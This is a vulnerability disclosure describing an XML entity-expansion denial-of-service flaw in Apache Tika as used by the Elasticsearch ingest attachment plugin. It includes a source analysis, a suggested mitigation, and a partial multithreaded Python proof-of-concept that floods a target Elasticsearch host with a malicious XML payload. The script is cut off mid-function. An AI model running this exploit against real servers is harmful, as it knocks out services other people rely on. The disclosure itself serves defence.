Summary

In a recent research on Apache Tika, I found a DOS (Denial of Service) vulnerability existed on its XML parser. It is caused that the parser improperly parses XML document.

Affected Version

• Tested on ElasticSearch 6.3.1 (using Tika 1.18) and 6.2.3 (using Tika 1.17)

Analysis

As we know, the core ingest attachment plugin lets Elasticsearch extract file attachments in common formats (such as PPT, XLS, and PDF) by using the Apache text extraction library Tika. So, let's take a look at the source code of ingest attachment plugin.

/** subset of parsers for types we support */
private static final Parser PARSERS[] = new Parser[] {
    // documents
    new org.apache.tika.parser.html.HtmlParser(),
    new org.apache.tika.parser.rtf.RTFParser(),
    new org.apache.tika.parser.pdf.PDFParser(),
    new org.apache.tika.parser.txt.TXTParser(),
    new org.apache.tika.parser.microsoft.OfficeParser(),
    new org.apache.tika.parser.microsoft.OldExcelParser(),
    ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES),
    new org.apache.tika.parser.odf.OpenDocumentParser(),
    new org.apache.tika.parser.iwork.IWorkPackageParser(),
    new org.apache.tika.parser.xml.DcXMLParser(),
    new org.apache.tika.parser.epub.EpubParser(),
};

Actually, the plugin uses org.apache.tika.parser.xml.DcXMLParser() as a parser to extract contents from a XML file. Upon further investigation, we can see the following invocations:

• DcXMLParser() extends XMLParser
• XMLParser uses XMLReaderUtils.parseSAX to parse XML documents
• XMLReaderUtils.parseSAX invokes setPoolSize -> getSAXParser -> getSAXParserFactory

public static SAXParserFactory getSAXParserFactory() {
    SAXParserFactory factory = SAXParserFactory.newInstance();
    factory.setNamespaceAware(true);
    factory.setValidating(false);
    try {
        factory.setFeature(
                XMLConstants.FEATURE_SECURE_PROCESSING, true);
    } catch (ParserConfigurationException e) {
    } catch (SAXNotSupportedException e) {
    } catch (SAXNotRecognizedException e) {
        // TIKA-271: Some XML parsers do not support the
        // secure-processing feature, even though it's required by
        // JAXP in Java 5. Ignoring the exception is fine here, as
        // deployments without this feature are inherently vulnerable
        // to XML denial-of-service attacks.
    }

    return factory;
}

In the function above, we can see very limited security restrictions for SAXParserFactory.newInstance() object:

factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

According Oracle's explanation, when XMLConstants.FEATURE_SECURE_PROCESSING is enabled, it instructs the implementation to process XML securely. This may set limits on XML constructs to avoid conditions such as denial of service attacks.

But, actually it's unable to completely prevent against XML Entity Expansion. An attacker still can send crafted XML document to the ES server to do DoS attack via XML Entity Expansion vulnerability as mentioned in the section Proof of Concept. I checked Apache Tika source code that they only enable XMLConstants.FEATURE_SECURE_PROCESSING feature, which they could think it can protect from this type of attack per this article since it limits the number of entity expansions to 64,000 by default. But actually, we can still leverage these 64,000 entity expansions to generate an amplification XML object in memory, e.g. the file size of ES_XML.xml in the POC is only around 64KB, but once it is uploaded to the backend Tika server on ES server, Tika will have to allocate at least 6MB memory (6MB / 64KB = 100 times) to parse it, which leads to CPU utilization increasing rapidly.

Therefore, from my understanding, one possible fix could be, to set the following system property would greatly limit the impact as per the Oracle document:

jdk.xml.entityExpansionLimit=1

Proof of Concept

The following demonstration is tested and verified on ElasticSearch 6.3.31 which is using Tika 1.18:

• Create a POC script and save as poc_dos_es.py:

# Title: ElasticSearch Ingest Attachment Plugin DOS vulnerability
# Author: avfisher
# Affected version: Tested on ES 6.3.1 and ES 6.2.3 (but all versions could be impacted as well)
# Time: 2018-07-23
# Example: python poc_dos_es.py 127.0.0.1 9200 ES_XML.xml 5

import requests
import sys
import base64
import json
import threading
import sys


headers = {"Content-Type" : "application/json"}


class ExploitThread(threading.Thread):
    def __init__(self, es_ip, es_port, mal_xml_file, thread_index):
        threading.Thread.__init__(self)
        self.es_ip = es_ip
        self.es_port = es_port
        self.mal_xml_file = mal_xml_file
        self.thread_index = thread_index
        self.num = 1

    def create_ingest_att_pipeline(self, url):
        pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
        data = {
            "description" : "Extract attachment information",
            "processors" : [{
                "attachment" : {
                    "field" : "data",
                    "indexed_chars": "-1"
                }
            }]
        }
        res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
        if res.status_code == 200:
            print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
        else:
            print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))

    def send_payload(self, url, payload):
        ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
        data = {
            "data": payload
        }
        res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
        print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))

    def verify_mal_doc(self, url):
        ingest_url = "{}/my_index/_doc/1".format(url)
        res = requests.get(ingest_url, headers=headers)
        if res.status_code == 200:
            print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
        else:
            print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))

    def run(self):
        url = "http://{}:{}".format(self.es_ip, self.es_port)

        with open(self.mal_xml_file, 'rb') as f:
            content = base64.b64encode(f.read())